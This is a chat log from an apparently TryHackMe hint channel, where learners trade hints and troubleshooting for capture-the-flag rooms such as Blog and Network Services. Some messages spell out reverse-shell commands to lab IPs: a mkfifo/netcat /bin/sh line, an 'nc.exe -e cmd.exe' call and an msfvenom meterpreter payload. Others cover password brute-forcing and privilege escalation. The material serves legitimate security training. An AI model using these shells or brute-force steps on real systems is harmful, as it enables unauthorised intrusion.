#room-hints

1 messages · Page 39 of 1

stuck fractal
#

That's the point I'm making here

#

it's a pain to do

oblique cliff
#

got it, point received, and appreciated

stuck fractal
#

But as a box creator, it's possible

oblique cliff
#

ok, so you would automate the browser as if it were a person being jack doing stuff

#

and thats how the payload would be executed as the one and only jacky boi, yea?

stuck fractal
#

Ye

oblique cliff
#

now i understand

#

thank you for your time Mr. Omniscient, sleep deprived, James

stuck fractal
#

I'm not sleep deprived

#

This is about 6pm on my non-existent timezone

oblique cliff
#

right but on everyone else's timezone where you are its like 5 am aint it?

#

4*, i looked it up 👀

white salmon
#

Okay, I am on introductory networking room and doing well, but question 1 of section 5 makes no sense, plz help

solemn smelt
#

do you know what the OSI model is?

white salmon
#

yes

#

but it is asking for the protocol

solemn smelt
#

Have you analyzed it with wire shark yet?

white salmon
#

i may just be tired but it has me stumped lol

#

yes

solemn smelt
#

have you followed the descriptions steps to look at the packets

#

if you look at the description of the task it shows you exactly how to find the protocol using wireshark

white salmon
#

isn't the protocol ||http||

solemn smelt
#

don’t know I haven’t done the room

white salmon
#

okay well thank you for the help, I should get off soon it is 1am local time XD

solemn smelt
#

just submit whatever wireshark says the protocol is

white salmon
#

I figured it out

#

||I didn't check the packet numbers facepalm ||

silent trellis
#

Hello everyone, newbie here with a quick and hopefully easy question. Working on the Metasploit room and I seem to be stuck on the Task 4, question 7.
While that use command with the unique string can be incredibly useful that's not quite the exploit we want here. Let's now run the command 'search multi/handler'. What is the name of the column on the far left side of the console that shows up next to 'Name'? Go ahead and run the command 'use NUMBER_NEXT_TO exploit/multi/handler` wherein the number will be what appears in that far left column (typically this will be 4 or 5). In this way, we can use our search results without typing out the full name/path of the module we want to use.
When I run it on my kali vm (personal) I get 6, but that is not the correct number apparently. Probably because of a different version from when the room was created. Any ideas on how to figure this one out?

stuck fractal
#

Read the question @silent trellis

#

The actual question doesn't ask for the number

#

Look for the question words and question mark.

silent trellis
#

wow thank you, I feel like a total idiot now lol

keen willow
#

any hints on jeff ||jail break jeff user|| or i am in another ||rabbit-hole||

wraith marsh
#

You're on the correct path, google || escaping rbash || and try some things

keen willow
#

You're on the correct path, google || escaping rbash || and try some things
@wraith marsh googleing since morning, another hint would be nice.

lime needle
#

Hey i am doing room blog and stuck at login i have username but is it donno about password

#

Do i need to brute it?

#

I tried with rockyou but it's since 1hr and didn't get any pass

trim haven
#

I haven't completed the room but I'd suggest to keep looking for information whilst it's brute forcing in the background.

oblique cliff
#

If brute forcing takes more than 5 minutes on THM (10 if your computer is slow or something) then it’s probably wrong

#

@lime needle

#

Room creators are told to keep brute forcing under 5 minutes

lime needle
#

yeah i guess i am doing something wrong

white salmon
#

Task 16 advent of code , after anonymous login to ftp can't really execute any commands tried passive mode -p didn't help. Does this mean there is some restriction on ftp ?

oblique cliff
#

Switch vpn servers @white salmon

cursive nexus
#

In polosmb3, when I get the id_rsa file and change permissions/try to connect to ssh with it, should I just be let in or am I meant to try getting a password as well?

oblique cliff
#

If you look at the rsa key does it say it’s encrypted?

cursive nexus
#

Not sure how to look for that.

oblique cliff
#

Cat out the rsa key and see if it says the word “encrypted” anywhere 🙂

cursive nexus
#

Oh you meant to cat it out.

#

Sorry. Long day.

#

It does not.

oblique cliff
#

No sorry necessary

#

Then there’s no password

#

So if you get the username right you should be able to just ssh in

cursive nexus
#

So that would mean I am doing something wrong with the login.

white salmon
#

@oblique cliff I tried switching vpn server still same issue, is this known issue?

oblique cliff
#

@cursive nexus most likely wrong username

cursive nexus
#

I have john as the username but it still asks for password.

oblique cliff
#

I haven’t done that room so idk for sure but if you have an unencrypted rsa key that’s the only thing I can think of

#

Try John, Johnny boi, jj

#

Idk random stuff

cursive nexus
#

Should it hang if the username is incorrect?

oblique cliff
#

@white salmon switch to passive mode? Uh I’ve seen some people having trouble with ftp sometimes the issue always seems to be using a different vpn server

white salmon
#

some open ssh versions have username enumeration exploit

oblique cliff
#

@cursive nexus it may? If it’s the incorrect username for the corresponding rsa key it’ll ask for a password. If it’s correct you’ll be logged in

#

@white salmon true but that doesn’t always work too well. If I had to guess it’s somewhere on the box

white salmon
cursive nexus
#

@oblique cliff Thank you for that. I managed to get in :)

oblique cliff
#

Awesome! Wrong username?

#

@white salmon yes try switching vpn servers then

white salmon
#

aight I'll try all servers

cursive nexus
#

Awesome! Wrong username?
@oblique cliff Yeah. ||I'd copied over the .pub as well, read that and spotted the real one in there||

chilly mantle
#

I need some hint on Blog (box released yesterday)!

wooden mist
#

what stage are you on?

chilly mantle
#

i have tried brute forcing ,enumurating shares

#

used steg also on jpgs

#

didnt get anything!

wooden mist
#

smb is a rabbit hole

#

check http and the room tags

#

that should point you in the right direction

lime needle
#

I got username

median compass
#

not all the room tags are visible in the dashboard, if you look at the api call you can find some more ||"tags":["cve 2019-8943","wordpress","blog","web","wpscan","linux","security","cutter","reverse engineering","binary exploitation"]||

chilly mantle
#

tried everything bro anything else?

lime needle
#

@wooden mist how can I get password for user in blog

median compass
#

have you tried wpscan @chilly mantle

chilly mantle
#

ya got 2 usernames

wooden mist
#

if you don't have a shell then you haven't tried everything

median compass
#

have you read and understood the output of wpscan?

wooden mist
#

also wpscan -h

median compass
#

one of the other findings it gives you is helpful

wooden mist
#

might help you with the next step

merry helm
#

@wooden mist Hi, I already have the shell in the machine (Blog room), I rode, rode and I can not find the way to the user, where can I look?

wooden mist
#

look for other routes

#

maybe the user is a rabbit hole 🤔

median compass
#

the additional room hints I posted up there might help you @merry helm

merry helm
#

look for other routes
@wooden mist thank you

#

the additional room hints I posted up there might help you @merry helm
@median compass thank you

median compass
#

happy hunting

verbal wedge
#

Man nobody has pinged me on the awesome video I left in SMB lol

#

I never thought of user being a rabbit hole lol

#

But sometimes the path to user is different than you'd expect

#

@wooden mist did you find the video?

wooden mist
#

Yes

#

Didn't play it tho

verbal wedge
#

Ughhhhh

#

It was meant to be played!

wooden mist
#

I was in vc with some people and someone played it

#

Goat meme or smth

verbal wedge
#

Yis

wooden mist
#

¯\_(ツ)_/¯

verbal wedge
#

Well I thought it was funny my cat friend

chrome sand
#

For RA how do you figure out the username to reset the password. I tried all the ones in the webpage but none worked. Do you just guess names?

wooden mist
#

The username is somewhere on the page

#

Just not where you think it might be

chrome sand
#

Ok thanks. I'll look harder.

keen willow
#

the user flag i found on jeff is wrong as per website. NotLikeThis

wooden mist
#

hash it ;)

toxic scarab
#

do what it says to do

keen willow
#

Ah, i thought its over kekw

toxic scarab
#

almost

keen willow
#

ufff... jeff you killed me dude. @blazing rune , thanks man.

crisp wigeon
#

I need some help in room blog, have credentials and by exploit in msf having an error as aborted .. thanks in advance

oblique cliff
#

Show your options

crisp wigeon
#

I set option rhost ,lhost,user, passwd,targeturi

merry helm
#

I set option rhost ,lhost,user, passwd,targeturi
@crisp wigeon Change payload and run again

verbal wedge
#

show us your options

#

also, what payload did you choose?

#

i made sure that only one specific one will work

#

and if you do a little research about the Wordpress version, youll find it

#

not sure what research youve done, just offering tips

astral cedar
#

Can I get a hint what to do next after having reverse shell as www-data in room blog

solemn smelt
#

priv esc

crisp wigeon
#

@verbal wedge i used that one playload ..googled some few are using that ..

median compass
#

i posted the full tips for the room earlier in here @astral cedar, that should give you a clue

verbal wedge
#

^^

#

I didnt see them but i trust

#

@crisp wigeon something is wrong then. Can I see your whole options?

#

@astral cedar yeah privesc is next like Cry says

crisp wigeon
#

@verbal wedge shall i DM with pic.

#

??

verbal wedge
#

Best hint i can give is its not your standard enum -> user -> root

#

yeha go for it

#

you can spoiler tag it too

#

images can be tagged

astral cedar
#

Thanks guys. I will try harder

verbal wedge
#

you got this

astral cedar
#

i posted the full tips for the room earlier in here @astral cedar, that should give you a clue
@median compass How can I find it? When I search your name in dc nothing comes

median compass
#

not all the room tags are visible in the dashboard, if you look at the api call you can find some more ||"tags":["cve 2019-8943","wordpress","blog","web","wpscan","linux","security","cutter","reverse engineering","binary exploitation"]||
@median compass here you go

astral cedar
#

Thanks man

void plinth
#

||i tried bruteforcing moms name in blog. checked about 3000 pass.Im i going the wrong path.?||

verbal wedge
#

er, yes

#

it should find the pw in under 2 minutes

true widget
#

i m solving hackpark and trying to bruteforce|| web form|| using hydra. I have tried more than 10k passwords from big.txt.Am i doing anything wrong?

astral cedar
#

er, yes
@verbal wedge what about bill's username? 😦

solemn smelt
#

why big.txt

#

is that even a password wordlist?

trim haven
#

big.txt is for dirbuster

verbal wedge
#

you wont get bjoel's

trim haven
#

rockyou.txt is for passwords/custom wordlists

astral cedar
#

you wont get bjoel's
@verbal wedge oh

solemn smelt
#

@true widget youre trying to use a directory wordlist for a password brute force try using rockyou as your wordlist

trim haven
#

If you ever crack passwords on THM use rockyou.txt, unless told otherwise. All rooms use passwords that are in the rockyou.txt file.

true widget
#

okk initially I was using rockyou.txt but after a few thousands of passwords decided to use big.txt as I was unaware thats is a directory wordlists

merry helm
#

For environments that contains a Wordpress is always good tone run wpscan, it will give you various information about the manager, users, themes... from that you follow with the enumeration

verbal wedge
#

^

astral cedar
#

Oh man I am losing my mind. I cannot privESC. Can I get 1 more hint? maybe via DM if its too much for here

verbal wedge
#

What have you tried

astral cedar
#

Found the emails of the billy and his mom bruteforce them ssh. Couldnt find anything useful with ||pspy64|| and ||LinEnum||.

verbal wedge
#

Can someone help @crisp wigeon ? It seems his msf options are correct but he keeps erroring

#

@astral cedar you found nothing unusual with LinEnum?

#

That's surprising

astral cedar
#

tried to exploit Sudoers policy plugin version ||1.8.21p2||

verbal wedge
#

I use linux-smart-enumeration instead

#

Try that

#

You'll find it

astral cedar
#

okay I will

verbal wedge
#

And again. The path isn't always enum -> user -> root

#

That's a big hint

astral cedar
#

I think it will make sense a lot when I finish that room

verbal wedge
#

Ye it will

#

It's also a hint

#

I'm surprised LinEnum didn't find it

#

It's like a big red flag

#

Literally

astral cedar
#

Maybe Its my mistake

toxic scarab
#

In linpeas i think it’s a more subdued white flag in a sea of green.

verbal wedge
#

Yeee

pseudo hamlet
#

Guys Im doing Blue Room in nmap scan im using -A but scan doesnt showing service Version

stuck fractal
#

They're showing as filtered

#

Filtered != open

#

You can't fingerprint a service that you can't talk to

#

Fix your VPN

pseudo hamlet
#

ok

merry helm
#

@verbal wedge So I'm banging on this suid for a while, and I can't identify which property to check it does, which is necessary (if the tip is feasible)? I've tried to identify it via radare, but nothing that's helped me...

verbal wedge
#

|| strings ||

median compass
#

the box also has ltrace @merry helm, that might help too

merry helm
#

Oh thanks @verbal wedge @median compass I still have a lot to learn about reverse engineering

median compass
#

trust me @merry helm, me too! 🙂

verbal wedge
#

Me too lol

#

This technically isn't true RE

#

The box I just submitted is though

wooden mist
#

it is RE

#

it's not true binex

verbal wedge
#

Yeah that

late night
#

hi I need help with the room rpmetasploit, everything went well untill the 'exploit' command. I am getting 'handler failed to bind to MY_IP_ON_TRYHACKME "

#

I just cant figure out what I am doing wrong

#

for "MY_IP_ON_TRYHACKME" I put in my tryhackme/access ip address

verbal wedge
#

Don't trust that

#

Do IP a when you're connected to the VPN

#

ip a

median compass
#

you can also use set LHOST tun0 @late night

verbal wedge
#

^^

#

Facts

median compass
#

that will set your local host to the address of your VPN interface automatically

trim haven
#

I was advised by two awesome people not to use tun0 as it’s a hit or miss, bare that in mind ;)

#

Just type in the IP rather than typing tun0

late night
#

i see a few ip address when I type "ip a' I tryed all of them and none of them worked

median compass
#

I'd say that the setting of LHOST is a bit hit and miss in general, that's just a metasploit quirk

late night
#

tryed set LHOST tun0 and that did not work wither

trim haven
#

seems like a hit or miss for you

late night
#

either

trim haven
#

@late night are you connected to the network through openvpn

torn pine
#

In room "Network services", Task 7, Q5, i'm supposed to start a tcpdump using ||"sudo tcpdump ip proto \icmp -i tun0"|| ..
But i get ||tcpdump: tun0: No such device exists - (SIOCGIFHWADDR: No such device)||
How come?

trim haven
#

You’re not connected to the vpn

torn pine
#

I'm using the in-browser machine

median compass
#

when you do ip a do you see an interface called tun0 @late night?

#

ahhh, ok, then there's no VPN

late night
#

In room "Network services", Task 7, Q5, i'm supposed to start a tcpdump using ||"sudo tcpdump ip proto \icmp -i tun0"|| ..
But i get ||tcpdump: tun0: No such device exists - (SIOCGIFHWADDR: No such device)||
How come?
@torn pine yes and everything else is working so far

trim haven
#

@torn pine you should get told your IP address on the my machine website

#

You have to set it there I believe

#

But I haven’t used it so don’t quote me

median compass
#

what addresses do you see @late night?

torn pine
#

@trim haven So the syntax for tcpdump is ||"sudo tcpdump [my own ip] proto \icmp -i tun0"||?

trim haven
#

Nono

#

Not your zip

#

IP*

#

I’m pretty sure the Kali in browser machine tells you “use this IP”

median compass
#

let me rephrase the question @late night - can you copy the output of ip a here?

trim haven
#

According to the awesome staff member James, it’s “Eth0” instead of tun0

stuck fractal
#

ip a s and you'll see the adapters

#

It's the one with the 10.10

torn pine
#

ye, i just figured 😂

#

but the syntax should still be || ip proto|| in the middle? and not the actual ip?

#

Or should it be ||[target machine ip] [some proto ive no idea which]||?

trim haven
#

I will be honest

#

I have no clue

#

On what you’re saying

median compass
#

@torn pine just change the tun0 at the end to eth0 if you're not on a VPN and keep everything else the same

trim haven
#

As I said

median compass
#

what you're doing is asking to see all the packets that match that bit in the middle (IP PROTOcol ICMP) that arrive on a particular interface

torn pine
#

So it should still be "ip proto".. awesome

median compass
#

for most people that connect over a TUNnel from their own machine that interface is tun0

torn pine
#

works now.. fuck me.. ive never used tcpdumps before and google didn't show shit 😄

#

thanks

median compass
#

well it wouldn't be fun if we weren't learning would it 🙂

#

happy hunting

trim haven
#

Watch the language pls

late night
#

let me rephrase the question @late night - can you copy the output of ip a here?
@median compass [*] exec: ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:23:ff:90 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
valid_lft 81248sec preferred_lft 81248sec
inet6 fe80::a00:27ff:fe23:ff90/64 scope link noprefixroute
valid_lft forever preferred_lft forever

median compass
#

ok, so you want to set your LHOST to 10.0.2.15

stuck fractal
#

No

#

That's a virtualbox internal NAT IP

#

Connect to the VPN on your attacking machine @late night

#

Not from the host

median compass
#

he's not using a VPN James, he's on the in browser kali box he said

stuck fractal
#

That's a lie.

#

Because that IP is an internal virtualbox NAT IP

#

And cannot be the IP of a THM browser kali.

late night
#

ok, so you want to set your LHOST to 10.0.2.15
@median compass tryed that too, didnt work

stuck fractal
#

@late night you are using virtualbox, correct?

#

You need to connect to the TryHackMe openvpn from your virtual machine

late night
#

he's not using a VPN James, he's on the in browser kali box he said
@median compass I didnt say I am using the browser kali. I am on my own VM using OpenVPN

median compass
#

sorry, think I got you confused with the other guy asking questions at the same time, my bad

stuck fractal
#

@median compass different perskn using the THM Kali

#

Ye

#

@late night I'm guessing you're running the VPN on your host os

#

For many reasons, that's bad

#

Run the VPN on your VM directly

torn pine
#

For many reasons, that's bad
@stuck fractal out of curiosity.. why is this worse than through the VM? Only because of not broadcasting the whole host os to the VPN or any other reason?

stuck fractal
#

Because your VPN IP then points to the host

late night
#

Run the VPN on your VM directly
@stuck fractal THAT makes sense

stuck fractal
#

So you need to port forward for reverse shells etc @torn pine

torn pine
#

Aahhh, cause of the reverse shells... gotcha

stuck fractal
#

You gloss over a lot of the connectivity stuff because your VM software does NAT

#

More than rev shells

median compass
#

also puts you in a different broadcast domain so things like sniffing traffic etc won't work

late night
#

I can get OPENVPN on kali

torn pine
#

👍🏻

late night
#

Thanks soooo much, there were some other things that were comming out differently than it was supposed to. like I kept on getting more open ports when running nmap that I was supposed to

torn pine
#

I can't get SKIDY's BACKDOOR working when posting the msfvenom payload into the telnet connection. Nothing shows on either my tcpdump or my netcat listener.. I would expect my netcat listener to become a shell? But absolutely nothing happens... I've triple checked the eth0 IP and nc port...
and even the payload ||mkfifo /tmp/sxbendj; nc 10.10.30.74 4444 0</tmp/sxbendj | /bin/sh >/tmp/sxbendj 2>&1; rm /tmp/sxbendj|| seems fine..
What am i doing wrong?

stuck fractal
#

@torn pine You missed something curcial

torn pine
#

😮

stuck fractal
#

You need the prefix .RUN on your command

torn pine
#

You're right!!.. thx! 😄

late night
#

GOT IN !!! (and just got a phone call from the doctor that I have Carona 😦

median compass
#

yikes @late night ... congrats and commiserations both

late night
#

🙂 the doc said I should live 🙂

keen willow
#

GOT IN !!! (and just got a phone call from the doctor that I have Carona 😦
@late night dont worry, stay positive and fight back. You will be all right.

late night
#

Thanks, I hope so

merry helm
#

Blog room complete, thanks @median compass for the final clarifications

verbal wedge
#

Grats :)

weak tartan
#

@merry helm can you say me one hint about Blog room ?

#

I have no idea how I do the privesc

#

@verbal wedge and @median compass can you help ?

verbal wedge
#

yeet

#

which privesc

weak tartan
#

that

verbal wedge
#

which privesc

#

well which step

weak tartan
#

I'm on the user www-data

verbal wedge
#

where are you at

#

okay

#

there we go

#

so uhhhh

#

have you run linpeas or linenum or linux-smart-enumeration?

#

that will give you your answer

weak tartan
#

ya, i runned linpeas

#

hmm

#

ok

#

i try linux-smart-enumeration

verbal wedge
#

itll show there

weak tartan
#

okay, ty

proven pier
#

hello im sorry to ask this late but i was wondering if i coold get a hint for the room Vulnversity, iv been having problems on how to find the version of the squid proxy that is runnning on the machine

oblique cliff
#

Did you enumerate?

proven pier
#

no

#

and i dont know how

stuck fractal
#

Do RP Nmap

proven pier
#

it says failed to resolved

graceful sun
#

im very close with the blog box. it says RCE-HERE and i got the js to execute but dono how to browse files after it ends? im not quite sure how it works fully. i seen one person who had a command prompt that poped up when he did it but mine didnt have one, any help would be great

stuck fractal
#

it says failed to resolved
@proven pier wat

proven pier
#

when i put RP Nmap wih the ip and make it run it says failed to resolved

toxic scarab
#

no.

#

RP Nmap is a room that was suggested for you to do to teach you the skills that are needed to answer the questions you were asking about the room you are having trouble in

proven pier
#

ohh ok im a idiot hahah

#

thank you il give it a try

oblique cliff
#

youre probably not an idiot

graceful sun
#

anyone done blog yet?

white salmon
#

yeah

#

what's your question?

graceful sun
#

so i executed the javascript and i got RCE-HERE on the wp page and it also said "open id-48" the way i seen someone else do it they automated it and had a cmd prompt pop up after the java executed. so im just stuck after doing that what i need to do next to get the exploit to work. if im even right. i feel like i am

white salmon
#

did you read the tags for the box?

graceful sun
#

yes. im useing that exploit. just a diffrent one. because the msf mod wont work so i figured that wasent the way.

#

im useing the RIPS exploit

#

"riptechs"

#

msf keeps saying Exploit aborted due to failure: not-found: Failed to access Wordpress page to retrieve theme

white salmon
#

metasploit should work

remote gate
#

fwiw the msf module worked for me

graceful sun
#

wow. i spent all this time playing with Java..... gross..... ok well that should help alot now that i know that

white salmon
#

manual way could be fun

remote gate
#

@graceful sun if you have issues with it you can pm me if you want

graceful sun
#

it kinda is....i was really into it. but i just cant figure out how to do it. but it would be fun i think

#

thank you! @remote gate

sage belfry
#

has anyone had issues with Blaster not populating the IE history?

oblique cliff
#

@sage belfry known issue

brave bear
#

matt its a issue you have to configure to solve

stuck fractal
#

matt its a issue you have to configure to solve
@brave bear No?

white salmon
#

@sage belfry you can use an other exploit

brave bear
#

idk for me it wasnt working either

#

when i rdped

#

i did restart a few times

oblique cliff
#

is the XSS room finnicky or something? challenge 3 word hello is filtered, so this alert should work, but its not alerting me anything

brave bear
#

nope its supposed to be that way i think

oblique cliff
#

@brave bear theres nothing to configure is what james was saying, it is still a known issue

brave bear
#

ohhh okaaay

stuck fractal
#

is the XSS room finnicky or something? challenge 3 word hello is filtered, so this alert should work, but its not alerting me anything
@oblique cliff You have a js error

#

alert(hi)

#

alert("hi")

sage belfry
#

thanks guys

stuck fractal
#

unless you define hi as hello

#

Which would be 10/10

oblique cliff
#

still nothing

stuck fractal
#

No idea then

brave bear
#

with that one you have to actually say hello

#

but its filtered

oblique cliff
#

no i know, im just trying to get anyhting to appear as a POC

stuck fractal
#

Tag me again in about 3s

brave bear
#

sooo try innovative solutions

oblique cliff
#

@stuck fractal ok...?

brave bear
#

ohhh okaaay thats kinda weird yea

stuck fractal
#

I'm not getting pings

#

Something broke

#

hmm

oblique cliff
#

@stuck fractal

#

@stuck fractal

#

@stuck fractal

#

hehe

green prism
#

streamer mode?

white salmon
green prism
#

long wall of text incoming

#

I need help with /room/reverseengineering
I got the 2 tasks down and third needs a lot of thought.

var_28h is a password inputed by the user to be compared against

  1. What does cmp dword [var_28h], 2 actually do? Does it compare it literally? Or just the first or last bytes?
  2. What do dl and al registers and why do they appear here out of nowhere? Do they point to the same registers lixe eax but with a different type?
  3. How do I debug the program so I can input a word and see what the assembly code does to it?

This part is specially harder because I have no idea what it does:
moov eax, dword [var_28h]
cdqe
movzx edx, byte [rbp + rax - 0x20]
mov eax, dword[var_28h]
cdqe
movzx eax, byte [rbp + rax - 0x23]
cmp dl, al
je 0xetcetc

I just want some pointers what to research and learn further

green prism
#

i've been trying my best with reverse-engineering and still hardly understand what anything does besides simple if conditionals and string comparisons

stuck fractal
#
  1. gdb or radare probably
green prism
#

yeah i'm using radare2

stuck fractal
green prism
#

oh cool

#

looks like a good place to properly learn r2

white salmon
#

ghidra is also a nice tool

green prism
#

the graphical menu with -VV from r2 is the only thing that helped me somewhat understand what the crackme3 file did

#

it's great

stuck fractal
#

There's Cutter, which is a gui for radare

verbal wedge
#

Cutter is luv

green prism
#

it has nice interface

cursive nexus
#

If I wanted to set the password character length for hydra to just 8 characters, could I just run with -m 8 -M 8 as switches?

stuck fractal
#

There's pw-inspector if you want to filter a wordlist

cursive nexus
#

Looking that up now. Thank you uncle james ♥️

#

so for example: ps-inspector -i /usr/share/wordlists/rockyou.txt -o rockyou8.txt -m 8 -M 8 would work?

oblique cliff
#

try it and find out

cursive nexus
#

Like a charm, it worked.

sick sun
#

anyone give me hint how to get user ||bjoel|| in rooms blog

stuck fractal
#

anyone give me hint how to get user ||bjoel|| in rooms blog
@sick sun how far have you got so far?

tough willow
#

room/rpsublist3r task :4 question: 5 what is it ?

#

I hope it's true channel

stuck fractal
#

@tough willow again, no one will just give you the answer

#

People can help

#

And hint

#

But you're not going to get an answer to copy paste

tough willow
#

what should I do ?

stuck fractal
#

Put some work in?

#

Ask for a hint?

#

Tell us what you've tried?

tough willow
#

Just I think

#

I can not recall it

stuck fractal
#

What have you tried?

#

Have you looked at the output that's attached to the room?

tough willow
#

Yes, I looked

#

no writeup

stuck fractal
#

That's not what I asked

#

There is a file attached to that task

#

That file is the output of a command

#

You need to be looking through that file.

tough willow
#

yes have a subdomains

#

i looked

stuck fractal
#

So. Have you thought about which of those sub domains might be about web development?

tough willow
#

hmm i'm thinking

stuck fractal
#

You need to look at the file

#

It's obvious when you look

tough willow
#

I think I should be idiot

stuck fractal
#

Short the word "development" and then look harder

tough willow
#

I am trying

stuck fractal
#

@tough willow don't post answers here

tough willow
#

okay sorry

swift magnet
#

Guys I need help with the room blog, anyone ?

stuck fractal
#

That's not enough information to give you a hint

swift magnet
#

Ok can I ask here ?

stuck fractal
#

What bit are you stuck at?

swift magnet
#

I enumerated usernames found an authenticated rce

#

Bruteforcing didn't give anything

stuck fractal
#

Brute forcing what, exactly?

swift magnet
#

Wp login

stuck fractal
#

For?

#

Using?

#

There's two users that you can easily find.

swift magnet
#

I found two users

#

Yep I did

stuck fractal
#

Which did you attack by brute force?

#

What wordlists?

swift magnet
#

Both

keen willow
#

Please please use spoiler tags.

swift magnet
#

Seclists top 1000 10 millilion pass list

stuck fractal
#

When you're doing THM boxes, stick with rockyou

#

Try again.

swift magnet
#

@keen willow I'm not sure how to use that sry😬

stuck fractal
#

Should take a maximum of 5 minutes to brute force

#

That's a rule thay box creators have to follow

#

Any brute force is under 5mins.

swift magnet
#

Argh thanks I'm using intruder for the sake of simplicity 😂

#

Ok I'll try with hydra thanks 🙌

stuck fractal
#

Use wpscan

#

Designed for wordpress

swift magnet
#

Oh nice I forgot that thanks @stuck fractal

stuck fractal
#

Unless you're told otherwise, assume rockyou if you're brute forcing

swift magnet
#

Thanks man @stuck fractal

#

I was looking for any information disclosure bug 😬

stuck fractal
#

See if you can find the room creation guidance if you want to see behind the curtain a little.

keen willow
#

@keen willow I'm not sure how to use that sry😬
@swift magnet wrap spoiler phrase inside two pipe symbol, or google it.

tough willow
#

room/rpsublist3r task:4 quest:7

#

:(

swift magnet
#

@keen willow alright thanks

stuck fractal
#

@tough willow do some research into the words and phrases mentioned in the question. These tasks are a test of your reading skills.

tough willow
#

reading skills

stuck fractal
#

Yes.

tough willow
#

i liked it

#

:D

stuck fractal
#

I just found the answer with some reading

tough willow
#

:(

stuck fractal
#

Read through the results, look for one that matches

#

You do need to put some effort in.

#

You're not going to be spoonfed answers

tough willow
#

:((

stuck fractal
#

If you're expecting to be spoonfed answers, you've chosen the wrong area of study

tough willow
#

I will try only my head hurts

stuck fractal
#

Take a break

tough willow
#

okay
i will try again later

#

thanks

tough willow
#

dude i found

#

i finished room

#

yey

sick sun
#

@stuck fractal what do you mind man ?

#

||bruteforce pass in mysql||

rancid crystal
#

You don't really have to ping James.. if you want to ask something you can just ask here

trim haven
#

James is sleeping

subtle terrace
#

Hello, I am new here. Can somebody explain why binary shiba1 doesn't execute?
shiba1@nootnoot:~$ ls .
b.txt noon.txt shiba1
shiba1@nootnoot:~$ ./shiba1
shiba1@nootnoot:~$ execute ./shiba1
execute: command not found
shiba1@nootnoot:~$ run ./sh

glossy basin
#

the binary should be executed like ./shiba1

#

but it'll work only if you have completed all the requrements from the task

subtle terrace
#

I did, and after I type ./shiba1 it doesn't work

sturdy shadow
#

Box: Blog - I see others on here are getting the same error message on Metrasploit "Exploit failed: An exploitation error occurred", any ideas?

subtle terrace
#

Oh, no, shame on me, file should have been noot and not noon

#

sorry for disturbing guys

rancid crystal
#

@subtle terrace no worries you can disturb as much you want.. thats how a person learns ❤️ and we will be happy to help 🙂

subtle terrace
#

Wow, that's called a SERVICE. My pleasure

white salmon
#

In advent of cyber day 13 , edited one of the plugin files with shell.php got a connect but it gets stuck

potent quail
#

Box: Blog - I see others on here are getting the same error message on Metrasploit "Exploit failed: An exploitation error occurred", any ideas?
@sturdy shadow I have the same issue. I’ve tried it manually but can’t get it working - I must be doing something wrong. It says it runs fine, and then code execution just does not happen.

#

I’m still trying but yeah minor issues aha

sturdy shadow
#

j

@sturdy shadow I have the same issue. I’ve tried it manually but can’t get it working - I must be doing something wrong. It says it runs fine, and then code execution just does not happen.
@potent quail Just added the .rb file from Searchsploit as a metasploit module but still the same error, baffled. Probably something simple I am missing:-(

crisp wigeon
#

@potent quail @sturdy shadow change the payload, it will help

potent quail
#

@crisp wigeon mind if I message please?

crisp wigeon
#

go head

hasty gust
#

Working on "Blog" room. Am I right to be going via ||metasploit|| ? I can't seem to get the exploit to work

rancid crystal
#

@hasty gust yeah you can use Metasploit for that one. If someone completes it manually do let me know

#

That js one didn't work as expected it should

hasty gust
#

Yeah I was looking at that too

white salmon
#

Can I get reverse shell with this advent of cyber day 13 || echo shell_exec("nc.exe -e cmd.exe 10.9.56.17 1234");
||

#

I tried to use this || msfvenom -p php/meterpreter_reverse_tcp LHOST=10.9.56.17 LPORT=1234 -f raw > s.php || it connects but can't do anything after it

#

Tried some windows reverse shell from the internet they not working too, been stuck here since morning any hint please.

verbal wedge
#

If the payload is failing for Blog then check the payload. I'm not sure what causes it to change but it should be meterpreter reverse tcp

stuck fractal
#

Don't use redirection with raw payloads @white salmon

#

@verbal wedge I had it work with php rev meterpreter

verbal wedge
#

That may work as well

stuck fractal
#

That was the default, I haven't updated msf for a while

halcyon citrus
#

RP: burpsuite. Try logging in with invalid credentials. What error is generated when login fails?

#

help me to get this ?

stuck fractal
#

Have you tried logging in with invalid credentials?

halcyon citrus
#

yes in heroku ,where to find the error?

stuck fractal
#

In burp

#

Look for your request

#

Then look at the response

halcyon citrus
#

ok will see

sick sun
#

anyone give me a hint to get user ||bjoel|| really stuck only and get user ||www-data||

stuck fractal
#

@sick sun you've made an assumption.

#

Do standard privesc enumeration

#

Your goal from www-data should be to get anywhere at all

sick sun
#

@stuck fractal i found ||SUID ca-bundle.crt|| from ||linpeas||

#

im on rabbit hole ?

stuck fractal
#

No you're just wrong

#

That isn't going to be a suid binaru

#

It's crypto certificate stuff

#

Use context

sick sun
#

yeah i know bro, i found some creds from ||config.php|| but not working and trying to bruteforce ||bjoel|| user pass from ||blog database|| but nothing

#

context ?

stuck fractal
#

Context. Information like where you found it, what it's called, what the file type is

sick sun
#

use pspy64s is good ?

#

to get some information

stuck fractal
#

Do standard privesc enumeration
@stuck fractal
Your goal from www-data should be to get anywhere at all
@stuck fractal
There's your hints

sick sun
#

oke thanks bro

stuck fractal
#

Not your bro.

buoyant hatch
#

Anybody who completed blog room?

stuck fractal
#

Don't ask to ask, just ask.

#

A lot of people here have completed it.

buoyant hatch
#

I need some kinda hint 😂

stuck fractal
#

We can't give you a hint unless we know where you are.

white salmon
#

@stuck fractal You mean "> s.php" this redirect? . Got shell with metasploit default payload but I'd like to do it manually too

stuck fractal
#

@white salmon yes. You're outputting a binary from msfvenom, use the output flag rather than a redirect

#

Your binary will be fill of control characters and null bytes

#

It doesn't work with redirects

white salmon
#

Ye when I cat the s.php it has weird things and the "<?php" part is commented out

wooden mist
#

@buoyant hatch just say at what stage you're on

stuck fractal
#

Why the heck are you trying to make a php one?

white salmon
#

I'd put it in the 404 page and get shell?

stuck fractal
#

Use a windows one

#

You can log in with RDP. Why overcomplicate it.

#

